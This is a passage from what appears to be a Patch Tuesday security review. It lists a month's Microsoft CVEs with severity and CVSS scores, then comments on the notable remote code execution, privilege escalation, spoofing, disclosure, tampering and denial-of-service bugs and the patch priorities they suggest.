  7.8
  No
  No
  EoP
 
 
  CVE-2026-56182
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50341
  Windows NTFS
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-58640
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.3
  No
  No
  RCE
 
 
  CVE-2026-49184
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  8.4
  No
  No
  RCE
 
 
  CVE-2026-49797
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50308
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50386
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50309
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50313
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50388
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50448
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50471
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50461
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50417
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50482
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.3
  No
  No
  RCE
 
 
  CVE-2026-50494
  Windows NTFS Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50344
  Windows OLE Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50686
  Windows OLE Remote
  Code Execution Vulnerability
  Important
  8.1
  No
  No
  RCE
 
 
  CVE-2026-50335
  Windows Operating
  Systems Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50317
  Windows Operating
  Systems Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54987
  Windows Overlay Filter
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50435
  Windows Overlay Filter
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50409
  Windows Overlay Filter
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-40400
  Windows PowerShell
  Remote Code Execution Vulnerability
  Important
  8
  No
  No
  RCE
 
 
  CVE-2026-49166
  Windows Print
  Configuration Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55004
  Windows Print
  Configuration Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50499
  Windows Print Spooler
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50383
  Windows Print Spooler
  Information Disclosure Vulnerability
  Important
  6.1
  No
  No
  Info
 
 
  CVE-2026-57085
  Windows Print Spooler
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50469
  Windows Projected File
  System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50434
  Windows Push
  Notification Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50339
  Windows Push
  Notification Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50430
  Windows Push
  Notification Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50334
  Windows Push
  Notification Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-44800
  Windows Push
  Notifications Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50363
  Windows Push
  Notifications Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50431
  Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50372
  Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50666
  Windows Remote Access
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-56647
  Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50330
  Windows Remote Desktop
  Client Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50376
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50504
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-58533
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-58535
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-58546
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-58539
  Windows Remote Desktop
  Client Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-55003
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-57979
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50445
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50497
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-54126
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-57982
  Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50369
  Windows Remote Desktop
  Services Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-58626
  Windows Remote Desktop
  Services Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-55014
  Windows Remote Help
  Defense Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50318
  Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50407
  Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50357
  Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50441
  Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50668
  Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability
  Important
  6.8
  No
  No
  EoP
 
 
  CVE-2026-54109
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49792
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49793
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50362
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50492
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  6.8
  No
  No
  RCE
 
 
  CVE-2026-50501
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58530
  Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49791
  Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability
  Important
  7.1
  No
  No
  EoP
 
 
  CVE-2026-50451
  Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability
  Important
  7.1
  No
  No
  EoP
 
 
  CVE-2026-57096
  Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50323
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50452
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50348
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50345
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50322
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50340
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  8.5
  No
  No
  EoP
 
 
  CVE-2026-50410
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50449
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50460
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  8.1
  No
  No
  EoP
 
 
  CVE-2026-50403
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50385
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50413
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50457
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50486
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50503
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-54125
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58527
  Windows Runtime
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50373
  Windows Search Service
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50679
  Windows Search Service
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-44806
  Windows Secure Channel
  Denial of Service Vulnerability
  Important
  5.3
  No
  No
  DoS
 
 
  CVE-2026-50681
  Windows Secure Channel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-56186
  Windows Secure Channel
  Information Disclosure Vulnerability
  Important
  8.1
  No
  No
  Info
 
 
  CVE-2026-50367
  Windows Sensor Data
  Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58619
  Windows Sensor Data
  Service Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50311
  Windows Server
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50328
  Windows Server Update
  Service (WSUS) Tampering Vulnerability
  Important
  7.5
  No
  No
  Tampering
 
 
  CVE-2026-58531
  Windows SMB Elevation
  of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-54997
  Windows SMB
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-49801
  Windows SMB
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50690
  Windows SMB
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-56168
  Windows SMB Server
  Denial of Service Vulnerability
  Important
  6.5
  No
  No
  DoS
 
 
  CVE-2026-50360
  Windows SMB Server
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-57089
  Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-50333
  Windows Spaceport.sys
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50298
  Windows Spaceport.sys
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49171
  Windows Speech Runtime
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-49170
  Windows
  StateRepository API Server file Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58526
  Windows Storage
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50299
  Windows Storage Spaces
  Direct Remote Code Execution Vulnerability
  Important
  6.8
  No
  No
  RCE
 
 
  CVE-2026-57968
  Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-57973
  Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability
  Important
  6.3
  No
  No
  Tampering
 
 
  CVE-2026-50418
  Windows System Secure
  Feature Bypass Vulnerability
  Important
  5.1
  No
  No
  SFB
 
 
  CVE-2026-50306
  Windows TCP/IP
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50307
  Windows TCP/IP
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49177
  Windows TCP/IP
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50669
  Windows Telephony
  Server Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-54124
  Windows Terminal
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50350
  Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50326
  Windows Unified
  Consent System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49790
  Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability
  Important
  7.3
  No
  No
  EoP
 
 
  CVE-2026-50498
  Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58547
  Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability
  Important
  5.5
  No
  No
  EoP
 
 
  CVE-2026-49794
  Windows USB Audio
  Class Driver Information Disclosure Vulnerability
  Important
  4.6
  No
  No
  Info
 
 
  CVE-2026-50453
  Windows USB Audio
  Class Driver Information Disclosure Vulnerability
  Important
  6.1
  No
  No
  Info
 
 
  CVE-2026-58528
  Windows USB Audio
  Class Driver Information Disclosure Vulnerability
  Important
  6.8
  No
  No
  Info
 
 
  CVE-2026-50321
  Windows USB Driver
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50479
  Windows USB Hub Driver
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55000
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  6.4
  No
  No
  EoP
 
 
  CVE-2026-54991
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54996
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49802
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49806
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50674
  Windows USB Print
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49804
  Windows USB Video
  Driver Elevation of Privilege Vulnerability
  Important
  6.6
  No
  No
  EoP
 
 
  CVE-2026-50454
  Windows User Interface
  Core Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49176
  Windows WalletService
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49800
  Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50480
  Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56173
  Windows WebView
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-58632
  Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54107
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-54986
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54112
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54114
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50670
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50688
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50687
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-56176
  Windows Win32k
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58628
  Windows Wireless
  Network Manager Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50295
  Windows Zero Trust DNS
  Security Feature Bypass Vulnerability
  Important
  5.5
  No
  No
  SFB
 
 
  CVE-2026-50509
  Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55945
  Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability
  Moderate
  4.2
  No
  No
  Info
 
 
  CVE-2026-45488
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Moderate
  5.4
  No
  No
  Spoofing
 
 
  CVE-2026-45489
  Microsoft Edge
  (Chromium-based) Spoofing Vulnerability
  Moderate
  6.5
  No
  No
  Spoofing
 
 
  CVE-2026-55145
  Outlook Copilot
  Tampering Vulnerability
  Moderate
  6.3
  No
  No
  Tampering
 
 
  CVE-2026-56181
  Windows Network
  Address Translation (NAT) Spoofing Vulnerability
  Moderate
  8.3
  No
  No
  Spoofing
 
 
  CVE-2026-58597
  Microsoft
  Edge (Chromium-based) Spoofing Vulnerability
  Low
  4.3
  No
  No
  Spoofing
 
 
 
  
  
  
  
  
  
  
 
 












  
  






  ** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.
 
 
I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.
 
Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.
That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.
The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.
And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.
There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.
There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.
The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.
Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.
Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.
Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.
No new advisories are being released this month.
Looking Ahead
The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!